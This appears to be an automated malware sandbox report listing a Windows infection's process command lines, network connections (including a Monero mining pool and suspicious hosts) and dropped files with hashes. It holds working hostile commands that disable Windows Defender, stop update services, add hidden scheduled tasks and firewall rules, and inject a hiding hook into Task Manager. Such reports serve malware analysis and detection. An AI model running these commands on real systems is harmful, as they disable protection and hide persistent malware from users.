"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2092,16655403047217582238,17528098839259996470,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6084 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2092,16655403047217582238,17528098839259996470,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6084 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2092,16655403047217582238,17528098839259996470,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5048 /prefetch:8

C:\Users\Admin\AppData\Local\Temp\BEAF.exe

C:\Users\Admin\AppData\Local\Temp\BEAF.exe

C:\Users\Admin\AppData\Local\Temp\C18E.exe

C:\Users\Admin\AppData\Local\Temp\C18E.exe

C:\Users\Admin\AppData\Local\Temp\C2E7.exe

C:\Users\Admin\AppData\Local\Temp\C2E7.exe

C:\Users\Admin\AppData\Local\Temp\toolspub2.exe

"C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"

C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe

"C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"

C:\Users\Admin\AppData\Local\Temp\toolspub2.exe

"C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"

C:\Users\Admin\AppData\Local\Temp\setup.exe

"C:\Users\Admin\AppData\Local\Temp\setup.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 2860 -ip 2860

C:\Users\Admin\AppData\Local\Temp\kos4.exe

"C:\Users\Admin\AppData\Local\Temp\kos4.exe"

C:\Users\Admin\AppData\Local\Temp\7zSCB98.tmp\Install.exe

.\Install.exe

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2860 -s 784

C:\Users\Admin\AppData\Local\Temp\latestX.exe

"C:\Users\Admin\AppData\Local\Temp\latestX.exe"

C:\Users\Admin\AppData\Local\Temp\D278.exe

C:\Users\Admin\AppData\Local\Temp\D278.exe

C:\Users\Admin\AppData\Local\Temp\7zSCD5D.tmp\Install.exe

.\Install.exe /MKdidA "385119" /S

C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe

"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"

C:\Users\Admin\AppData\Local\Temp\is-28T1A.tmp\LzmwAqmV.tmp

"C:\Users\Admin\AppData\Local\Temp\is-28T1A.tmp\LzmwAqmV.tmp" /SL5="$90118,6502186,54272,C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"

C:\Windows\SysWOW64\rundll32.exe

"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll, Main

C:\Windows\SysWOW64\forfiles.exe

"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"

C:\Windows\SysWOW64\forfiles.exe

"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"

C:\Windows\SysWOW64\cmd.exe

/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&

C:\Windows\SysWOW64\schtasks.exe

"C:\Windows\system32\schtasks.exe" /Delete /F /TN "Z1026-1"

C:\Windows\SysWOW64\cmd.exe

/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&

C:\Program Files (x86)\Drive Tools\zDriveTools.exe

"C:\Program Files (x86)\Drive Tools\zDriveTools.exe" -i

C:\Program Files (x86)\Drive Tools\zDriveTools.exe

"C:\Program Files (x86)\Drive Tools\zDriveTools.exe" -s

C:\Windows\SysWOW64\schtasks.exe

"C:\Windows\system32\schtasks.exe" /Query

\??\c:\windows\SysWOW64\reg.exe

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32

\??\c:\windows\SysWOW64\reg.exe

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32

\??\c:\windows\SysWOW64\reg.exe

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64

\??\c:\windows\SysWOW64\reg.exe

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "gOjAPXjUe" /SC once /ST 02:49:55 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="

C:\Windows\SysWOW64\schtasks.exe

schtasks /run /I /tn "gOjAPXjUe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 1108 -ip 1108

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1108 -s 576

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe

"C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe

C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe

C:\Users\Admin\AppData\Local\Temp\28C7.exe

C:\Users\Admin\AppData\Local\Temp\28C7.exe

C:\Windows\system32\gpupdate.exe

"C:\Windows\system32\gpupdate.exe" /force

C:\Windows\SysWOW64\schtasks.exe

schtasks /DELETE /F /TN "gOjAPXjUe"

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "bwpFiyeZPJPVdaMxTt" /SC once /ST 07:17:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\qfiwemQmHAngVYpEP\nfIxQMeJQCLipql\zkdLTgY.exe\" 3Y /Mfsite_idCSk 385119 /S" /V1 /F

C:\Windows\system32\cmd.exe

C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"

C:\Windows\system32\netsh.exe

netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force

C:\Windows\System32\cmd.exe

C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc

C:\Windows\System32\sc.exe

sc stop UsoSvc

C:\Windows\System32\sc.exe

sc stop WaaSMedicSvc

C:\Windows\System32\sc.exe

sc stop wuauserv

C:\Windows\System32\sc.exe

sc stop bits

C:\Windows\System32\sc.exe

sc stop dosvc

C:\Windows\System32\cmd.exe

C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Windows\system32\gpscript.exe

gpscript.exe /RefreshSystemParam

C:\Windows\System32\powercfg.exe

powercfg /x -hibernate-timeout-ac 0

C:\Windows\System32\powercfg.exe

powercfg /x -hibernate-timeout-dc 0

C:\Windows\System32\powercfg.exe

powercfg /x -standby-timeout-ac 0

C:\Windows\System32\powercfg.exe

powercfg /x -standby-timeout-dc 0

C:\Windows\System32\schtasks.exe

C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"

C:\Program Files\Google\Chrome\updater.exe

"C:\Program Files\Google\Chrome\updater.exe"

C:\Windows\rss\csrss.exe

C:\Windows\rss\csrss.exe

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Windows\SYSTEM32\schtasks.exe

schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F

C:\Windows\SYSTEM32\schtasks.exe

schtasks /delete /tn ScheduledUpdate /f

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe

C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll

C:\Windows\SYSTEM32\schtasks.exe

schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F

C:\Windows\windefender.exe

"C:\Windows\windefender.exe"

C:\Windows\SysWOW64\cmd.exe

cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

C:\Windows\SysWOW64\sc.exe

sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

C:\Windows\windefender.exe

C:\Windows\windefender.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force

C:\Windows\System32\cmd.exe

C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc

C:\Windows\System32\sc.exe

sc stop UsoSvc

C:\Windows\System32\sc.exe

sc stop WaaSMedicSvc

C:\Windows\System32\sc.exe

sc stop wuauserv

C:\Windows\System32\sc.exe

sc stop bits

C:\Windows\System32\sc.exe

sc stop dosvc

C:\Windows\System32\cmd.exe

C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }

C:\Windows\System32\powercfg.exe

powercfg /x -hibernate-timeout-ac 0

C:\Windows\System32\powercfg.exe

powercfg /x -hibernate-timeout-dc 0

C:\Windows\System32\powercfg.exe

powercfg /x -standby-timeout-ac 0

C:\Windows\System32\powercfg.exe

powercfg /x -standby-timeout-dc 0

C:\Windows\System32\conhost.exe

C:\Windows\System32\conhost.exe

C:\Windows\explorer.exe

C:\Windows\explorer.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2092,16655403047217582238,17528098839259996470,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1784 /prefetch:2

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 64.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 198.209.218.23.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.200:443 g.bing.com tcp
RU 193.233.255.73:80 193.233.255.73 tcp
FI 77.91.124.1:80 77.91.124.1 tcp
US 8.8.8.8:53 73.255.233.193.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 1.124.91.77.in-addr.arpa udp
FI 77.91.124.86:19084 tcp
US 8.8.8.8:53 www.facebook.com udp
NL 157.240.247.35:443 www.facebook.com tcp
US 8.8.8.8:53 accounts.google.com udp
NL 142.250.179.141:443 accounts.google.com tcp
NL 142.250.179.141:443 accounts.google.com udp
US 8.8.8.8:53 35.247.240.157.in-addr.arpa udp
US 8.8.8.8:53 142.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 141.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 195.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 i.ytimg.com udp
NL 142.250.179.182:443 i.ytimg.com tcp
US 8.8.8.8:53 static.xx.fbcdn.net udp
IE 163.70.151.21:443 static.xx.fbcdn.net tcp
IE 163.70.151.21:443 static.xx.fbcdn.net tcp
IE 163.70.151.21:443 static.xx.fbcdn.net tcp
US 8.8.8.8:53 182.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 106.208.58.216.in-addr.arpa udp
US 8.8.8.8:53 21.151.70.163.in-addr.arpa udp
US 8.8.8.8:53 196.168.217.172.in-addr.arpa udp
IE 163.70.151.35:443 facebook.com tcp
US 8.8.8.8:53 fbcdn.net udp
IE 163.70.151.35:443 fbcdn.net tcp
US 8.8.8.8:53 35.151.70.163.in-addr.arpa udp
FI 77.91.68.29:80 77.91.68.29 tcp
US 8.8.8.8:53 fbsbx.com udp
RU 193.233.255.73:80 193.233.255.73 tcp
US 8.8.8.8:53 29.68.91.77.in-addr.arpa udp
FI 77.91.68.249:80 77.91.68.249 tcp
N/A 224.0.0.251:5353 udp
US 8.8.8.8:53 249.68.91.77.in-addr.arpa udp
RU 5.42.65.80:80 5.42.65.80 tcp
US 8.8.8.8:53 80.65.42.5.in-addr.arpa udp
FI 77.91.124.86:19084 tcp
FI 77.91.124.86:19084 tcp
US 8.8.8.8:53 play.google.com udp
NL 142.251.36.14:443 play.google.com tcp
US 8.8.8.8:53 14.36.251.142.in-addr.arpa udp
NL 142.251.36.14:443 play.google.com udp
NL 142.251.36.14:443 play.google.com udp
FI 77.91.124.86:19084 tcp
US 8.8.8.8:53 googleads.g.doubleclick.net udp
NL 142.251.36.2:443 googleads.g.doubleclick.net tcp
NL 142.251.36.2:443 googleads.g.doubleclick.net udp
US 8.8.8.8:53 2.36.251.142.in-addr.arpa udp
FI 77.91.124.86:19084 tcp
FI 77.91.68.29:80 77.91.68.29 tcp
NL 81.161.229.93:80 81.161.229.93 tcp
US 8.8.8.8:53 93.229.161.81.in-addr.arpa udp
FI 77.91.124.71:4341 tcp
US 8.8.8.8:53 71.124.91.77.in-addr.arpa udp
US 8.8.8.8:53 iplogger.com udp
DE 148.251.234.93:443 iplogger.com tcp
US 8.8.8.8:53 stim.graspalace.com udp
US 188.114.97.0:80 stim.graspalace.com tcp
BG 171.22.28.213:80 171.22.28.213 tcp
US 8.8.8.8:53 93.234.251.148.in-addr.arpa udp
US 8.8.8.8:53 0.97.114.188.in-addr.arpa udp
US 8.8.8.8:53 213.28.22.171.in-addr.arpa udp
FI 77.91.124.1:80 77.91.124.1 tcp
FI 77.91.124.86:19084 tcp
US 8.8.8.8:53 43.229.111.52.in-addr.arpa udp
FI 77.91.124.86:19084 tcp
FI 77.91.124.86:19084 tcp
FI 77.91.68.29:80 77.91.68.29 tcp
FI 77.91.124.86:19084 tcp
US 8.8.8.8:53 host-file-host6.com udp
US 8.8.8.8:53 host-host-file8.com udp
US 95.214.26.28:80 host-host-file8.com tcp
US 8.8.8.8:53 28.26.214.95.in-addr.arpa udp
FI 77.91.124.86:19084 tcp
US 8.8.8.8:53 accounts.google.com udp
NL 142.250.179.141:443 accounts.google.com udp
US 8.8.8.8:53 baec4b87-7443-4646-8985-62720e037b44.uuid.dumppage.org udp
FI 77.91.124.86:19084 tcp
NL 194.169.175.235:42691 tcp
US 8.8.8.8:53 235.175.169.194.in-addr.arpa udp
US 8.8.8.8:53 youtube.com udp
NL 216.58.214.14:443 youtube.com tcp
US 8.8.8.8:53 14.214.58.216.in-addr.arpa udp
FI 77.91.124.86:19084 tcp
US 8.8.8.8:53 server11.dumppage.org udp
US 8.8.8.8:53 cdn.discordapp.com udp
US 8.8.8.8:53 stun.l.google.com udp
US 162.159.135.233:443 cdn.discordapp.com tcp
BG 185.82.216.111:443 server11.dumppage.org tcp
US 74.125.128.127:19302 stun.l.google.com udp
US 8.8.8.8:53 walkinglate.com udp
US 188.114.97.0:443 walkinglate.com tcp
US 8.8.8.8:53 24.73.42.20.in-addr.arpa udp
US 8.8.8.8:53 233.135.159.162.in-addr.arpa udp
US 8.8.8.8:53 127.128.125.74.in-addr.arpa udp
US 8.8.8.8:53 111.216.82.185.in-addr.arpa udp
FI 77.91.124.86:19084 tcp
BG 185.82.216.111:443 server11.dumppage.org tcp
FI 77.91.124.86:19084 tcp
US 8.8.8.8:53 xmr-eu1.nanopool.org udp
DE 135.125.238.108:14433 xmr-eu1.nanopool.org tcp
US 8.8.8.8:53 108.238.125.135.in-addr.arpa udp
US 8.8.8.8:53 pastebin.com udp
US 104.20.67.143:443 pastebin.com tcp
FR 51.15.193.130:14433 xmr-eu1.nanopool.org tcp
US 8.8.8.8:53 143.67.20.104.in-addr.arpa udp
US 8.8.8.8:53 130.193.15.51.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\jN6sh25.exe

MD5 d53546154bf2c704092f75d54563643f
SHA1 fa88606ba055d12e830e576ff012a5c187abe67a
SHA256 156fd7584a251074ae9fa88005514741f9279e2f4c53bb3a0c306940300d026a
SHA512 afb8aff34214d60da2bcd8d6bb3abb08aebd85cc9c5657ff541d556a6b4135c769b41700197cdb716c59d01266821e50fac5461119a82afd1d61fb7937eab2e6

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\jN6sh25.exe

MD5 d53546154bf2c704092f75d54563643f
SHA1 fa88606ba055d12e830e576ff012a5c187abe67a
SHA256 156fd7584a251074ae9fa88005514741f9279e2f4c53bb3a0c306940300d026a
SHA512 afb8aff34214d60da2bcd8d6bb3abb08aebd85cc9c5657ff541d556a6b4135c769b41700197cdb716c59d01266821e50fac5461119a82afd1d61fb7937eab2e6

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\VW3RY89.exe

MD5 dcb8a10dc2a425cd557a0c5c4837cebc
SHA1 5a9ce89eb03b72de53365f4c93e3941d6ee9dec3
SHA256 c39a5852c650bff83ebdddb6719bbc2ca58dbc47d3164541fd5b1f6ec60cbf48
SHA512 77ce8f985ce60c84fc193ec039c67ff5ac5bec454e86e9098b69822245cf8fa4bd92756e0ea81369ca7464e9c144c1550d92e07526cb5ddc7fbc45eab2c733d7

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\VW3RY89.exe

MD5 dcb8a10dc2a425cd557a0c5c4837cebc
SHA1 5a9ce89eb03b72de53365f4c93e3941d6ee9dec3
SHA256 c39a5852c650bff83ebdddb6719bbc2ca58dbc47d3164541fd5b1f6ec60cbf48
SHA512 77ce8f985ce60c84fc193ec039c67ff5ac5bec454e86e9098b69822245cf8fa4bd92756e0ea81369ca7464e9c144c1550d92e07526cb5ddc7fbc45eab2c733d7

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\cA2Bb69.exe

MD5 7fc2cbc104f5fa557eb18ba76ed11361
SHA1 d5871fe24305caff16e7ce78757828f17d4a678a
SHA256 c6d33143cb4d06fe9ea4225ad936dfd1042922cd75d05e4edab54b1a0537ae28
SHA512 e35fbd794fc3d877d386e099d581456cb1032628cc6845a09f58ecdf9e68ec8fcc805f6f5a20feb736919b76a512b757276f2aec12640cfdb12339a24e04e45b

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\cA2Bb69.exe

MD5 7fc2cbc104f5fa557eb18ba76ed11361
SHA1 d5871fe24305caff16e7ce78757828f17d4a678a
SHA256 c6d33143cb4d06fe9ea4225ad936dfd1042922cd75d05e4edab54b1a0537ae28
SHA512 e35fbd794fc3d877d386e099d581456cb1032628cc6845a09f58ecdf9e68ec8fcc805f6f5a20feb736919b76a512b757276f2aec12640cfdb12339a24e04e45b

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\xE6uU43.exe

MD5 3b8dca7baf25d31e341e33faa007cdf5
SHA1 b3e4adc65651418a5b2f54518687652de5886791
SHA256 d25aba1c8bfb0e6ef69d4417cc60a938e5f4f93d8c1fccc141499e5f40f1a6d9
SHA512 31976cce149156ee3065bc9a1667b982c7f51e2a1c7a6acef3e9377546841730eebb38c53f26e6ef3ab070ca9d4b403bfb539daa58afd88fabf7987ab3641218

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\xE6uU43.exe

MD5 3b8dca7baf25d31e341e33faa007cdf5
SHA1 b3e4adc65651418a5b2f54518687652de5886791
SHA256 d25aba1c8bfb0e6ef69d4417cc60a938e5f4f93d8c1fccc141499e5f40f1a6d9
SHA512 31976cce149156ee3065bc9a1667b982c7f51e2a1c7a6acef3e9377546841730eebb38c53f26e6ef3ab070ca9d4b403bfb539daa58afd88fabf7987ab3641218

C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\JB2jr05.exe

MD5 bb0318f0b495d5833b59b58991b7318e
SHA1 a2f7150dc80af44bf04563642df01355985d1094
SHA256 55334a5866e93958e215e7c1cc7d5a4d2d840464b04c15e67d27382fc4e262b5
SHA512 ed24882d6fa698774ac37711dab26eb9748b97560a36ba752dbbdc2ec9364cd831b0eb84c54da8d0cd185c302ce09fe27ef6eecd91e402f60b3a5aadef822055

C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\JB2jr05.exe

MD5 bb0318f0b495d5833b59b58991b7318e
SHA1 a2f7150dc80af44bf04563642df01355985d1094
SHA256 55334a5866e93958e215e7c1cc7d5a4d2d840464b04c15e67d27382fc4e262b5
SHA512 ed24882d6fa698774ac37711dab26eb9748b97560a36ba752dbbdc2ec9364cd831b0eb84c54da8d0cd185c302ce09fe27ef6eecd91e402f60b3a5aadef822055

C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1EN31Do1.exe

MD5 433dc10ac6209516bac54d836ac9a98f
SHA1 5dec6b8ab17a85379c8db5ad8b88aedf5a3eca49
SHA256 b1e9b773569473a5bff8580c710aa572cea580c3ebefc7d85e99aac06843447a
SHA512 7272664a63d3a05000ac7d342e628ec07c8da6611136b7b49c0ddbe7445ac89afb89774e1b4d0589a457c756f346923ccd19401d95f1384adf5b58b9032afb36

C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1EN31Do1.exe

MD5 433dc10ac6209516bac54d836ac9a98f
SHA1 5dec6b8ab17a85379c8db5ad8b88aedf5a3eca49
SHA256 b1e9b773569473a5bff8580c710aa572cea580c3ebefc7d85e99aac06843447a
SHA512 7272664a63d3a05000ac7d342e628ec07c8da6611136b7b49c0ddbe7445ac89afb89774e1b4d0589a457c756f346923ccd19401d95f1384adf5b58b9032afb36

memory/3468-42-0x0000000000400000-0x000000000040A000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2yu2241.exe

MD5 5f2c9dba69172eb23acc1c0143e1f401
SHA1 a813a3a20a7ceac088509ba3bc4ae2d95c59b6ef
SHA256 aa8399a8363d660a2f0ef9a416de4cb914ac91359fe25c709c732cd69ec62c38
SHA512 5598e3cc70127c5763150e3d25daf0187e05e46d5a7ba3b6249af28b3ecb296ae008f05d7308605bbb2bb23cc7299f8f5620a04f7da9238347c5664434b91747

C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2yu2241.exe

MD5 5f2c9dba69172eb23acc1c0143e1f401
SHA1 a813a3a20a7ceac088509ba3bc4ae2d95c59b6ef
SHA256 aa8399a8363d660a2f0ef9a416de4cb914ac91359fe25c709c732cd69ec62c38
SHA512 5598e3cc70127c5763150e3d25daf0187e05e46d5a7ba3b6249af28b3ecb296ae008f05d7308605bbb2bb23cc7299f8f5620a04f7da9238347c5664434b91747

memory/3468-46-0x0000000074530000-0x0000000074CE0000-memory.dmp

memory/4464-47-0x0000000000400000-0x0000000000434000-memory.dmp

